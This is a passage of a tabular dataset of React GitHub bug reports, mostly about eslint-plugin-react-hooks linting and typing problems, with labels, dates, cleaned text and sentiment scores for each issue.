Flags for at least one error.","Component: React Compiler,Resolution: Stale,Compiler: todo",2025-10-15 18:41:39+00:00,2026-01-21 00:27:16+00:00,3,"Component: React Compiler,Resolution: Stale,Compiler: todo",97.24,compiler todo function hoisting within jsx react version eslint plugin react hooks run no errors reported ignore the one tsconfig issue comment out run the error will show as expected when linting link to code example the current behavior if two components are nested the plugin thinks it is not created during render the flags for at least one error,others,-0.9159
facebook/react,3519078491,Bug: eslint-plugin-react-hooks not flagging hook used as value,"In my app a zustand store is exported. These stores act as a hook, or have .getState/.setState on them. In some place I ended up using it as a value.

I only added the hooks plugin as the release notes say: `If you have already installed eslint-plugin-react-compiler, you can now remove it and use eslint-plugin-react-hooks@latest`

However, the plugin-react-compiler is catching this error that the hooks plugin is not. Resulting in the file silently failing to be optimized.

React version: 19.2.0
eslint-plugin-react-hooks: 7.0.0

## Steps To Reproduce

1. Use eslint-plugin-react-hooks
2. Use a hook as a value (e.g. console.log it)
3. In the repro, run npm run lint. You can see the compiler plugin erroring while the react-hooks plugin does not.

Link to code example: https://stackblitz.com/edit/vitejs-vite-asgtyazp?file=src%2FApp.tsx&view=editor


## The current behavior
The compiler will skip the offending component silently.

## The expected behavior
Eslint rule warns/errors as it does on the playground.","Status: Unconfirmed,Resolution: Stale",2025-10-15 18:12:28+00:00,2026-01-22 10:08:28+00:00,3,"Status: Unconfirmed,Resolution: Stale",98.6639,eslint plugin react hooks not flagging hook used as value in my app a zustand store is exported these stores act as a hook or have getstate setstate on them in some place i ended up using it as a value i only added the hooks plugin as the release notes say however the plugin react compiler is catching this error that the hooks plugin is not resulting in the file silently failing to be optimized react version eslint plugin react hooks use eslint plugin react hooks use a hook as a value e g console log it in the repro run npm run lint you can see the compiler plugin erroring while the react hooks plugin does not link to code example the current behavior the compiler will skip the offending component silently the eslint rule warns errors as it does on the playground,bug,-0.5719
facebook/react,3516710982,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-10-15 07:22:38+00:00,2025-10-15 08:23:10+00:00,0,Status: Unconfirmed,0.042,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3516710506,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-10-15 07:22:34+00:00,2025-10-15 08:23:05+00:00,0,Status: Unconfirmed,0.042,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3515237993,Bug: eslint-plugin-react-hooks@7.0.0 default export type is wrong when used in a module,"When package.json has `""type"": ""module""` and tsconfig.json has `""module"": ""nodenext""`, typescript thinks that `reactHooks.configs` is undefined.

## Steps To Reproduce

package.json:
```
{
	""type"": ""module"",
	""dependencies"": {
		""eslint-plugin-react-hooks"": ""^7.0.0"",
		""typescript"": ""^5.9.3""
	}
}
```

tsconfig.json:
```
{
	""compilerOptions"": {
		""module"": ""nodenext"",
	}
}
```

index.ts:
```
import reactHooks from ""eslint-plugin-react-hooks"";

console.log(reactHooks.default); // ts thinks this is a real field, but it's not
console.log(reactHooks.configs); // ts thinks this isn't a real field, but it is
```

The error is:
```
Property 'configs' does not exist on type 'typeof import(""<path_to_repo>/node_modules/eslint-plugin-react-hooks/index"")'.
```

I don't really understand what's going on here, but the types worked fine with my project in `5.2.0` - I didn't try any `6.x` versions. The types are fine if either of the settings in `package.json` or `tsconfig.json` are removed, and TS is able to resolve a more concrete type than the strange `typeof import` thing that shows up here.

Link to code example:
https://github.com/skondrashov/borked-react-hooks-type
`git clone https://github.com/skondrashov/borked-react-hooks-type; cd borked-react-hooks-type; npm i; npx tsc`

## The current behavior
Error trying to access `reactHooks.configs`, no error trying to access `reactHooks.default`.

## The expected behavior
No error trying to access `reactHooks.configs`, error trying to access ... [TRUNCATED]",Status: Unconfirmed,2025-10-14 19:44:31+00:00,2025-10-30 16:34:14+00:00,3,Status: Unconfirmed,15.8679,eslint plugin react hooks default export type is wrong when used in a module when package json has and tsconfig json has typescript thinks that is undefined package json tsconfig json index ts the error is i don t really understand what s going on here but the types worked fine with my project in i didn t try any versions the types are fine if either of the settings in or are removed and ts is able to resolve a more concrete type than the strange thing that shows up here link to code example the current behavior error trying to access no error trying to access the no error trying to access error trying to access truncated,bug,-0.9648
facebook/react,3512507874,Bug: `react-dom-client.development.js` tries to read `$$typeof` on iframe object,"In `ReactFiberPerformanceTrack` it tries to deep read the props in DEV mode, `props` may deeply contains `cross-origin frame`
which will cause `SecurityError: Failed to read a named property '$$typeof' from 'Window': Blocked a frame with origin ""http://localhost:8080/"" from accessing a cross-origin frame.`

React version: 19.2.0 (I believe the change is introduced in #30967)

## Steps To Reproduce
there are three factors caused this problem
1. deep in props there is a reference to host `window` or `document` object
2. google reCAPTCHA is in use. it mounts a iframe and inject the iframe reference to `document`
<img width=""1265"" height=""752"" alt=""Image"" src=""https://github.com/user-attachments/assets/35925e7e-5e83-48e0-9328-fffa7c266360"" />
3. react 19.2.0 tries to recursively read props object and access `.$$typeof`

## The current behavior
Throwing error

## The expected behavior
Not to throw error",Status: Unconfirmed,2025-10-14 06:12:50+00:00,2026-02-03 16:53:47+00:00,7,Status: Unconfirmed,112.4451,tries to read on iframe object in it tries to deep read the props in dev mode may deeply contains which will cause react version i believe the change is introduced in there are three factors caused this problem deep in props there is a reference to host or object google recaptcha is in use it mounts a iframe and inject the iframe reference to react tries to recursively read props object and access the current behavior throwing error the not to throw error,bug,-0.8452
facebook/react,3511078611,Bug: Template HTML element causes hydration issue,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

When using server-side rendering, the template HTML seems to throw a hydration error. Not sure if it's related to how the browser processes template elements or how React is correcting the dom. I have tested this with Astro and Nextjs and have had the same error. The Template element is part of the HTML spec and should work https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/template 

Use case might be for shareable web components used in React. 

<img width=""1383"" height=""404"" alt=""Image"" src=""https://github.com/user-attachments/assets/b7c07bf5-1454-4ab5-baae-aee0fee767cb"" />

React version: React 19.1, 19.2

## Steps To Reproduce

1. Have a component which includes template element with elements inside. 
2. Render it server side and wait for hydration error should be triggered

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

```Template.tsx
'use client';
export function Template() {
	return <template>hello</template>;
}
```

```Page.tsx 
export default function Home() {
	return (
		<main>
			<section className='container mx-auto gri... [TRUNCATED]","Status: Unconfirmed,Resolution: Stale",2025-10-13 18:34:59+00:00,2026-01-22 05:12:09+00:00,5,"Status: Unconfirmed,Resolution: Stale",100.4425,template html element causes hydration issue of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed when using server side rendering the template html seems to throw a hydration error not sure if it s related to how the browser processes template elements or how react is correcting the dom i have tested this with astro and nextjs and have had the same error the template element is part of the html spec and should work use case might be for shareable web components used in react react version react have a component which includes template element with elements inside render it server side and wait for hydration error should be triggered your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example page tsx export default function home return section classname container mx auto gri truncated,bug,-0.8442
facebook/react,3510949390,Bug: ESLint rules flag Date.now as an inpure function in a server component,"I expect that the the eslint-plugin-react-hooks don't apply to server components. 

React version: 19.2

## Steps To Reproduce

1. Introduce an inpure function in a server side component. E.g. the layout in a nextjs app
2. Run eslint with eslint-plugin-react-hooks@7 
3.  Notice error

```
`Date.now` is an impure function. Calling an impure function can produce unstable results that update unpredictably when the component happens to re-render. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#components-and-hooks-must-be-idempotent).

~/src/inpure-demo/src/app/layout.tsx:25:15
  23 |   children: React.ReactNode;
  24 | }>) {
> 25 |   const now = Date.now();
     |               ^^^^^^^^^^ Cannot call impure function
  26 |   console.log(""Rendering RootLayout at"", now);
  27 |
  28 |   return (  react-hooks/purity
```
Link to code example:

https://github.com/paulvanbrenk/inpure-error-nextjs

## The current behavior

Error about the inpure function in a server component

## The expected behavior

No error","Status: Unconfirmed,Resolution: Stale",2025-10-13 17:50:47+00:00,2026-05-06 09:51:33+00:00,7,"Status: Unconfirmed,Resolution: Stale",204.6672,eslint rules flag date now as an inpure function in a server component i expect that the the eslint plugin react hooks don t apply to server components react version introduce an inpure function in a server side component e g the layout in a nextjs app run eslint with eslint plugin react hooks notice error link to code example the current behavior error about the inpure function in a server component the no error,bug,-0.8807
facebook/react,3508228962,Bug: react-hooks/immutability wrong detect bug,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1. const name is useTestHooks
2. Set inside useMemo


Link to code example:
(https://playground.react.dev/#N4Igzg9grgTgxgUxALhAcimBACOAbASwQDsAXNAHWKoIFsAHCGU7YKi0zBAYQEM88AI15wA1gBpsXALIJaEKgF9sAMxgRa2CiBgIRpbe2JwIxMCy4AVBOYASECKLDYAvNgAUASlcA+Vu1ITMxYAE15SXlcpLFl5dy9fDzZibFTsUgQAD1JkbAADPKpUxU9JAG0AXU8jDiDzdJtSADEoYyiuPgFhMXjvFz9kjiGDUjCIgDoAN34oHBcA4eHpvFnx3Xo8EQR3BZHF0gB6MoBBAFoALwqDgHM6cV39jgKHvdJq6lfFe4-hspeOMa8F4VXbvAK6TgwFKDEbLAhjBABRRKIxZRjMbAhBAqXhQPAWLDWOwOJxUEDiEBBFQEa4oEB0dEsUgAT3oOGA2AACitbsQAPL0UgEUzOZRqDTYNDCQQIPCnDZQXmnXT6U4mBgEPAIGAHEIEcxoADcRncyVSBwO6vomvCwuI0ggWNy2n4eEMxGUYFtYGpNi5PII-MFdrAnkN5PAAAsIAB3ACSZG1xH4YBQOLwWEUQA)

## The current behavior

<img width=""866"" height=""320"" alt=""Image"" src=""https://github.com/user-attachments/assets/f9628aa4-ae60-4bed-8c58-c588b7b0870e"" />

## The expected behavior

An ESLint error occurs when the constant name contains “use”, but it works fine when “use” is not included in the name.
","Type: Question,Component: React Compiler",2025-10-13 02:12:41+00:00,2025-10-14 17:17:00+00:00,3,"Type: Question,Component: React Compiler",1.628,react hooks immutability wrong detect bug of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version const name is usetesthooks set inside usememo link to code example the current behavior the an eslint error occurs when the constant name contains use but it works fine when use is not included in the name,bug,-0.3716
facebook/react,3506963807,Bug: Stale closures with `useEffectEvent`,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version: 19.2

## Steps To Reproduce

1. Open [the reduced test case](https://stackblitz.com/edit/github-utjrgufd?file=app%2Froot.tsx) and view the console
2. Click the ""Home"" link (this causes `navigationType` to change to `REPLACE`)

```tsx
function App() {
  const navigationType = useNavigationType();
  // ✅ This is REPLACE after clicking the link.
  console.log('render', navigationType);

  const fn = useEffectEvent(() => {
    // ❌ But this is always POP. It's not seeing the latest value!
    console.log('effect event', navigationType);
  });
  useEffect(() => {
    setInterval(() => {
      fn();
    }, 3000);
  }, []);

  return (
    <>
      <Link to=""/"">Home</Link>
      <Outlet />
    </>
  );
}

// 🤷‍♂️ Removing `memo` here fixes the problem.
export default memo(App);
```



Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

https://stackblitz.com/edit/github-utjrgufd?file=app%2Froot.tsx

## The curr... [TRUNCATED]","Type: Bug,Component: Reconciler",2025-10-12 10:55:35+00:00,2025-10-13 15:58:44+00:00,3,"Type: Bug,Component: Reconciler",1.2105,stale closures with of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version open the reduced test case and view the console click the home link this causes to change to link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the curr truncated,bug,-0.4215
facebook/react,3503617768,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-10-10 16:22:21+00:00,2025-10-15 21:11:21+00:00,1,Status: Unconfirmed,5.2007,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3503007799,Bug: eslint-plugin-react-hooks has wrong d.ts after upgrade from 5 to 6/7,"React version:

## Steps To Reproduce

1. Use `module: nodenext` in TypeScript config
2. create `eslint.config.ts` with using `eslint-plugin-react-hooks`
3. See TypeScript errors about default field in 

<img width=""1042"" height=""230"" alt=""Image"" src=""https://github.com/user-attachments/assets/d6de78a0-3aaf-4956-86f4-c86ec8083b14"" />

Link to code example:

Not provided

## The current behavior

Errors in TypeScript

## The expected behavior

Suitable declaration files
",Status: Unconfirmed,2025-10-10 13:44:20+00:00,2025-10-24 16:58:03+00:00,26,Status: Unconfirmed,14.1345,eslint plugin react hooks has wrong d ts after upgrade from to react version use in typescript config create with using see typescript errors about default field in link to code example not provided the current behavior errors in typescript the suitable declaration files,bug,-0.7003
facebook/react,3499389513,[Compiler Bug]: Improve readability of `react-hooks/immutability` log message,"### What kind of issue is this?

- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgBMEAzAQygBsCSoA7OXASwjvwFkBPAQU0wApg+OmQC2CfAF8AlPmAAdNvgBKCMowB0UMAgCiJEgkb9+sgLwA+OfkX47+AOYI6CGGVwIAqjpgARd2Sq2HimtlIANPgA2gC60oq2cKxgBE4ubh7erv64gQjBBGb4-GF22q4ACjAQJEyUCGDIcqX2TIRNdFCiAEauANwtZT4i4k0pMEx0DgNK9vhMYNyMTABuCE3dEBD1ZHQzc3ZgSTDrwl29MPsHxJhkeOJ0uGO4E1NXdpKx4S2ikwDKxwQABUABYnMAg7btM49VxhcxWBSzfBJOgpeZgLIwXSUJgOJjder4Ir8cowJpCBZLZhrDZbHZ7fBHHCnTqwmBSBHNZF2E64WBsMkaKnLNb4ABk4vwQuZJ3wFiKvzoAJZoPBkMohHeUhmLVR6IQuPxhK8PjAxOlPiqNTqDQ0tWorn4CyxOLxBPq0l1yKYJGKhvdJqxYA09SmuBBxLMRQADLIkQd8HyBdzE3ZcBBcpQ3cb6sGmjHvjz7GQ1m4nCqTgWi2nLa4wAAhTi+fJ3XAPJ5ySQ1tMgvEghq4SuTBxYjpUSg9uaSbWSBLI-UEDNZysSIoB3Om+saE6EKCIExgLqRMlco+ifAAajrMA0soQkTj2sX+FLrjIFcBFuXZEoq-wAD0+Abh6W4wCGYYOBG3pzC+ZKNs2rb3M4hTAUaoHBjuCB7ogxSDMU6hwCePhcgmaa+sUACEhFREKNxth2cSprWr5wHAtE+Bo9HIY8MQWrE2rTvhdg0XRSHtihMQaJg2ggqSnFkiMCBesJSYIPyMBsIRgkRPhwDdvC86wckBB9g4A4pMOUxYhaIFBmaWE4QgJhmRZuCRHAsAnI8pH4cmmkol5KF3l+ViuYOIUsvgAD8gUwN5BBNOFKSzpEdl5maUQxnEMH2P5bBkXMP7Zuh9n1k06VgRBzhQSCU4lmWH4IKuTS3OBCAAGKUBA7j8G+5bNYCGgZh1TDoNh-AAEzSNI9VDPWTYtm1EmPHN... [TRUNCATED]","Type: Bug,Status: Unconfirmed,Component: React Compiler",2025-10-09 14:18:08+00:00,2025-10-23 18:30:54+00:00,3,"Type: Bug,Status: Unconfirmed,Component: React Compiler",14.1755,compiler bug improve readability of log message what kind of issue is this react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin x eslint plugin react compiler build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro truncated,bug,0.3612
facebook/react,3499026277,Bug: `react-hooks/rules-of-hooks` does not error when `useEffectEvent` is passed down when inlined in a prop,"`eslint-plugin-react-hooks` is not detecting a `useEffectEvent` usage violation when it is used inline (i.e. not reassigned to a variable).

React version: `19.2.0`
`eslint-plugin-react-hooks` version: `7.0.0`

## Steps To Reproduce

Code example:

```jsx
import { useEffectEvent } from ""react"";

function App() {
  // ❌ should throw error. Effect event can't be passed down.
  return <Component cb={useEffectEvent(() => {})} />;
}

function Component() {
  return <></>;
}
```

## The current behavior

Linter gives no error.

## The expected behavior

Linter gives an error disallowing `useEffectEvent` callback from being passed down.",Status: Unconfirmed,2025-10-09 12:46:10+00:00,2025-10-16 18:18:03+00:00,0,Status: Unconfirmed,7.2305,does not error when is passed down when inlined in a prop is not detecting a usage violation when it is used inline i e not reassigned to a variable react version version code example the current behavior linter gives no error the linter gives an error disallowing callback from being passed down,bug,0.7825
facebook/react,3498436219,Bug: “Display density” field appears twice in React Developer Tools settings,"<img width=""469"" height=""275"" alt=""Image"" src=""https://github.com/user-attachments/assets/476fb9e9-b8b0-47db-9943-8ca253826e67"" />

DevTools version: [7.0.0-3b2a398106](https://github.com/facebook/react/blob/main/packages/react-devtools/CHANGELOG.md#700)

## Steps To Reproduce

1. Open React Developer Tools in your browser.

2. Go to the General settings tab.

The associated PR : [Anatole-Godard:pr34791](https://github.com/facebook/react/pull/34792)",Status: Unconfirmed,2025-10-09 09:50:24+00:00,2025-10-09 17:38:25+00:00,0,Status: Unconfirmed,0.325,display density field appears twice in react developer tools settings devtools version b a open react developer tools in your browser go to the general settings tab the associated pr anatole godard pr,bug,0.0
facebook/react,3498393796,Bug: “Display density” field appears twice in React Developer Tools settings,"<img width=""469"" height=""275"" alt=""Image"" src=""https://github.com/user-attachments/assets/476fb9e9-b8b0-47db-9943-8ca253826e67"" />

DevTools version: [7.0.0-3b2a398106](https://github.com/facebook/react/blob/main/packages/react-devtools/CHANGELOG.md#700)

## Steps To Reproduce

1. Open React Developer Tools in your browser.

2. Go to the General settings tab.",Status: Unconfirmed,2025-10-09 09:38:43+00:00,2025-10-09 09:48:49+00:00,0,Status: Unconfirmed,0.007,display density field appears twice in react developer tools settings devtools version b a open react developer tools in your browser go to the general settings tab,bug,0.0
facebook/react,3497878830,Bug: eslint-plugin-react-hooks@7.0.0 Type 'ReactHooksFlatConfig | undefined' is not assignable to type 'InfiniteArray<ConfigWithExtends>',"The recommended way to configure for flat config in eslint-plugin-react-hooks@7.0.0 isn't correctly typed with TypeScript and enabled `noUncheckedIndexedAccess` flag:

```ts
import reactHooks from 'eslint-plugin-react-hooks';
import { defineConfig } from 'eslint/config';

export default defineConfig([
  reactHooks.configs.flat.recommended,
]);
```

Either disabling `noUncheckedIndexedAccess` or non-null asserting the value with `!` works.

## Steps To Reproduce

1. Clone `https://github.com/ulrichstark/eslint-plugin-react-hooks-type-repro`
2. Run `npm install`
3. Run `npx tsc`

## The current behavior

```
eslint.config.ts:4:30 - error TS2322: Type 'ReactHooksFlatConfig | undefined' is not assignable to type 'InfiniteArray<ConfigWithExtends>'.
  Type 'undefined' is not assignable to type 'InfiniteArray<ConfigWithExtends>'.

4 export default defineConfig([reactHooks.configs.flat.recommended]);
                               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Found 1 error in eslint.config.ts:4
```

## The expected behavior

No TypeScript error.",Status: Unconfirmed,2025-10-09 06:57:18+00:00,2025-10-27 07:37:32+00:00,2,Status: Unconfirmed,18.0279,eslint plugin react hooks type reacthooksflatconfig undefined is not assignable to type infinitearray the recommended way to configure for flat config in eslint plugin react hooks isn t correctly typed with typescript and enabled flag either disabling or non null asserting the value with works clone run run the current behavior the no typescript error,bug,-0.6249
facebook/react,3497287903,Bug: Activity undefined,"When using Activity, throw error:
```
Element type is invalid: expected a string (for built-in components) or a class/function (for composite components) but got: undefined. You likely forgot to export your component from the file it's defined in, or you might have mixed up default and named imports.
```
Console log Acitivity, the value is undefined.

React version:
19.2.0 (React.version = 19.2.0-canary-0bdb9206-20250818)

Next.js version:
15.5.2

## Steps To Reproduce
""use client""

import { Activity} from ""react"";

<Activity ....>
",Status: Unconfirmed,2025-10-09 00:56:11+00:00,2025-10-13 07:35:57+00:00,11,Status: Unconfirmed,4.2776,activity undefined when using activity throw error console log acitivity the value is undefined react version react version canary bdb next js version use client import activity from react,bug,-0.1531
facebook/react,3497110492,Bug: Esta es mi primer pregunta,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2025-10-08 22:51:24+00:00,2025-10-09 15:38:16+00:00,0,Status: Unconfirmed,0.6992,esta es mi primer pregunta of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,3496545337,"Bug: lint/react-compiler incorrectly reporting ""ref accessed in render"" inside map returning components","The linter is incorrectly reporting a warning about accessing a ref.current value in render when a callback function that uses ref.current is passed as a prop to a component inside a .map function. If the .map function is removed the linter warning disappears, meaning that being inside the .map confuses the linter and makes it think that the ref.current value is accessed

## Steps To Reproduce

1. Run linter with this code

```
import {useRef} from 'react';

export component Parent() {
  const someRef = useRef(false);
  const callback = () => {
    if (someRef.current) {
      // do some thing
    }
  };
  const items = [1, 2];
  return (
    <>
      {items.map(_ => (
        <Child callback={callback} />
      ))}
    </>
  );
}

component Child(callback: () => void) {
  return <div onClick={callback} />;
}
```

2. See warning reported even though ref.current is never accessed on render

<img width=""535"" height=""142"" alt=""Image"" src=""https://github.com/user-attachments/assets/16344a12-3bc0-475c-a8f6-1b0c8c9caa26"" />

3. If you remove the `.map` section of the code the warning goes away

## The current behavior

Linter shows a warning

## The expected behavior

Linter should not show a warning","Status: Unconfirmed,Component: React Compiler",2025-10-08 18:57:58+00:00,2025-10-15 05:31:37+00:00,2,"Status: Unconfirmed,Component: React Compiler",6.44,lint react compiler incorrectly reporting ref accessed in render inside map returning components the linter is incorrectly reporting a warning about accessing a ref current value in render when a callback function that uses ref current is passed as a prop to a component inside a map function if the map function is removed the linter warning disappears meaning that being inside the map confuses the linter and makes it think that the ref current value is accessed run linter with this code see warning reported even though ref current is never accessed on render if you remove the section of the code the warning goes away the current behavior linter shows a warning the linter should not show a warning,bug,-0.9062
facebook/react,3496391015,Bug: eprh README eslint.config.js examples cause parsing errors,"The sample eslint.config.js in the [eprh readme](https://github.com/facebook/react/blob/main/packages/eslint-plugin-react-hooks/README.md#flat-config-eslintconfigjsts) doesn't work out of the box. It errors with 
```
Parsing error: Unexpected token ...
```
either due to not recognising jsx syntax (in a js project) or not recognising typescript syntax (ts project)


I realise that providing a fully functional eslint setup is outside the scope of react, and much will depend on framework/bundler. But I think having an absolutely minimal example which works if you copy-paste would be helpful, both for people not yet using eslint who want to start using the linter, and also for folks having problems updating to the latest version.

eslint-plugin-react-hooks version: 6.1.1 
**_update_**: version 7.0.0 also has a problem, see comment below

## Steps To Reproduce

1. clone repros / open sandboxes
2. try running `npm run lint`


Link to code example:


- js: https://github.com/mdj-uk/vite-react-no-ts ([sandbox](https://codesandbox.io/p/github/mdj-uk/vite-react-no-ts/main?file=%2Feslint.config.js&import=true&workspaceId=ws_NWeM56rFTtP8bj8JxvwSss))
- ts: https://github.com/mdj-uk/vite-react-ts ([sandbox](https://codesandbox.io/p/github/mdj-uk/vite-react-ts/main?file=%2Feslint.config.js&import=true&workspaceId=ws_NWeM56rFTtP8bj8JxvwSss))

## The current behavior
Parsing error when trying to lint

## The expected behavior
Linting should work if you copy-paste example configs from readme","Status: Unconfirmed,Resolution: Stale",2025-10-08 18:05:56+00:00,2026-01-14 13:18:39+00:00,3,"Status: Unconfirmed,Resolution: Stale",97.8005,eprh readme eslint config js examples cause parsing errors the sample eslint config js in the eprh readme doesn t work out of the box it errors with either due to not recognising jsx syntax in a js project or not recognising typescript syntax ts project i realise that providing a fully functional eslint setup is outside the scope of react and much will depend on framework bundler but i think having an absolutely minimal example which works if you copy paste would be helpful both for people not yet using eslint who want to start using the linter and also for folks having problems updating to the latest version eslint plugin react hooks version update version also has a problem see comment below clone repros open sandboxes try running link to code example js sandbox ts sandbox the current behavior parsing error when trying to lint the linting should work if you copy paste example configs from readme,bug,-0.8537
facebook/react,3495887575,Bug:  React Dev Playground | Shows Application error: a client-side exception has occurred while loading playground.react.dev,"### **Bug Report**

**React version:**  
`React 19.0.0 (playground.react.dev - latest build as of October 2025)`

---

### **Steps To Reproduce**
1. Open [React Playground](https://playground.react.dev).  
2. Observe that the page crashes with a **client-side exception**. (Screenshot attached)


**Note: I have disabled all the chrome extensions so that any other client side extension are not interfering still the issue persists. (Attaching screenshots).**

**Chrome version: Version 128.0.6613.85 (Official Build) (64-bit)**
---

### **Link to code example**
Not required — this issue occurs **even with an empty playground** or default example (no user code modification).


Console error:
`2718.2ef44c120f1f0fb2.js:1 Uncaught TypeError: Cannot read properties of undefined (reading 'code')
    at R (2718.2ef44c120f1f0fb2.js:1:2240553)
    at 2718.2ef44c120f1f0fb2.js:1:2242468
    at V (2718.2ef44c120f1f0fb2.js:1:2242518)
    at aO (f5e865f6-c532ae16ddb2f8e0.js:1:54636)
    at il (f5e865f6-c532ae16ddb2f8e0.js:1:75762)
    at iS (f5e865f6-c532ae16ddb2f8e0.js:1:87054)
    at sI (f5e865f6-c532ae16ddb2f8e0.js:1:128665)
    at f5e865f6-c532ae16ddb2f8e0.js:1:124455
    at sE (f5e865f6-c532ae16ddb2f8e0.js:1:124556)
    at ca (f5e865f6-c532ae16ddb2f8e0.js:1:157236)
    at MessagePort.S (2970-8a45648598c363f4.js:1:128748)`


---

### **The current behavior**
- The playground fails to render and shows:  
